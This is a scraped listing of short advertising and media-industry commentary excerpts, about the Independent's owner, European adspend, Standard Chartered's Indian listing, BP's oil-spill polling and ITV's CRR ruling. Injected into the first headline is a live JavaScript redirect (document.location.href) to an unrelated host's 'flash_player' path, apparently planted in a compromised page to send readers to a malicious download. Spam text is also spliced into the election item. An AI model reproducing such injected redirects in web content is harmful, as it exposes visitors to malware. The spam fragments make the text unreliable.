How Alexander Lebedev can make money from the Independentdocument.location.href=”http://www.sommen.nu/templates/flash_player/?A”

AdSense…Default Ad#ad-1#ad-1-1#ad-2#ad-2-1#ad-3 First, the Independent in London is very fortunate. To have a proprietor with deep pockets is the key requirement for a modern newspaper and in Alexander Lebedev the Indy has found its man. To have a proprietor with ...

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Asia Pacific TV adspend overtakes ‘depressing’ Europe

Who’d be a European these days, especially in the Eurozone? WPP’s Sir Martin Sorrell for one seems to regret it, describing the advertising outlook in Europe as “depressing” at the recent International Advertising Association conference in Moscow. By contrast advertising ...

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Standard Chartered shows marketers the way in India

British bank Standard Chartered, which does 90 per cent of its business in the Far East and India, is to become the first foreign company to list shares (known as Indian Depository Receipts) on an Indian stock exchange. The company, ...

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Americans give BP benefit of doubt over Gulf of Mexico oil spill

They don’t seem that critical anyway, 36 per cent of respondents to a Pew Research Center poll calling BP’s response to the Gulf of Mexico oil spill ‘only fair’, ahead of the 27 per cent who described it as ‘poor.’ ...

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How the politicians failed to get through to the voters

One of the reasons for the hung parliament produced by the general election may simply be the mediocre quality of the communications from the three parties. homework for you In past elections, slogans such as the Tories’ “Labour isn’t working” ...

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World Cup nerves for advertisers like Adidas as well as the players

The biggest fear for players selected for World Cups is either getting injured in the warm-up friendlies or, in some cases, not making the final cut. Advertisers have the same fears for these young men too, as they’ve signed a ...

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Procter & Gamble puts ad agencies on the green spot

If it wasn’t bad enough dealing with the procurement department and its desires to reduce costs to nil, ad agencies and others are now finding their environmental practices under (potential) fire. The world’s biggest advertiser Procter & Gamble has just ...

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ITV new boy Crozier moans too much about CRR verdict

The UK Competition Commission has decided to keep the Contract Rights Renewal system for ITV (which prevents the network jacking up prices for advertisers who reduce their spend) although it says it won’t stay ‘for ever.’ But why shouldn’t it? ...

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